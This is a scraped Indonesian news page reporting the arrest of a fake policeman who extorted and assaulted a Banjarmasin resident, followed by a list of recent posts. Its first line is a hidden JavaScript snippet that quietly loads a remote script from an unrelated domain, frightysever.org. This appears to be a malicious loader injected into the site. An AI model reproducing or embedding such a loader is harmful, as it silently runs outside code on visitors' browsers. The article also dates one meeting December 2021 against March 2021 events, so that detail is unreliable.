(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Warga Banjarmasin Dianiaya Polisi Gadungan, Uang Jutaan Rupiah Raib


KANALKALIMANTAN.COM, BANJARMASIN – Kelakukan busuk pria berinsial ADF akhirnya terbongkar. Ia merupakan seorang polisi gadungan yang berhasil diamankan polisi.

ADF, pria asal Samarinda diringkus polisi lantaran terlibat aksi penipuan, pemerasan dan penganiayaan terhadap Budi Noor, seorang warga Banjarmasin.

Kasus penganiayaan ini terungkap setelah korban melapor ke Polsek Balikpapan Utara pada 31 Maret 2021 lalu.

Mengutip Inibalikpapan.com (jaringan Suara.com), pelaku dan korban sejatinya pertama kali bertemu pada November 2020.

Baca juga : Indonesia Desak Israel Hentikan Kekerasan terhadap Warga Sipil Palestina

Ketika itu pelaku menggenakan kalung penyidik dan menyelipkan satu senjat air softgun dipinggangnya. Korban mengira pelaku adalah anggota polisi.

Keduanya lalu bertemu di rumah pelaku untuk berbisnis jual beli mobil pada Desember 2021. Di sana, pelaku mengaku dari kesatuan Densus 88 Anti Teror Polri.

Singkat cerita, pada 6 Maret 2021 pelaku mendatangi korban di Apartemen Grand Valley. Dia mengenakan kalung lencana penyidik Polri dan memperlihatkan senjata jenis FN warna hitam.

Tiba-tiba, pelaku meminta uang 40 juta kepada korban dengan alasan untuk membayar Propam. Dia bilang, karirnya terancam jika di kesatuan Densus 88 jika tak membayar.

Pelaku pun sempat menganiaya korban dan mengancam akan membunuh jika tidak diberikan hingga malam.

Baca juga : Cabai Rawit Lokal di Pasar Amuntai Tembus Rp 120 Ribu per Kilogram

Karena takut korban mentransfer Rp 5 juta ke rekening pelaku. Lalu, pada malam harinya pelaku datang lagi kemudian langsung melakukan penganiayaan.

orban pun kemudian mentransfer sejumlah uang ke rekening pelaku hingga totalnya menjadi Rp 8,5 juta.

Tak terima menjadi korban penganiayaan dan pemerasan, korban kemudian melapor ke polisi hingga akhirnya pelaku diamankan.

“Pelaku ini mengaku sebagai polisi pangkat yang digunakan Perwira untuk memeras korban. Kadang-kadang mengaku juga sebagai Kopasus,” ujar Kapolsek Balikpapan Utara Kompol Danang Aries Susanto.

Atas perbuatannya, pelaku menelan pil pahit. Dia dikenakan pasal 368 KUHP JO 378 KUHP dan 351 ayat 1 HUHP dengan ancaman hukuman 9 tahun penjara.(Suara.com)

 

 

 

 


Al Ghifari

Recent Posts

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

10 menit ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

19 menit ago

PKS Banjarbaru Buka Penjaringan, Siap Koalisi Tawarkan Kader Sendiri

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pimpinan Darah Partai Keadilan Sejahtera (PKS) Kota Banjarbaru membuka pendaftaran bakal… Read More

2 jam ago

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

16 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

16 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

17 jam ago

This website uses cookies.